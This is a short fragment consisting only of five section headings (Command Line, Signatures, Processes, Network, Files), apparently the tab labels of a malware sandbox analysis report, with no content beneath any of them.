
Command Line

Signatures

Processes

Network

Files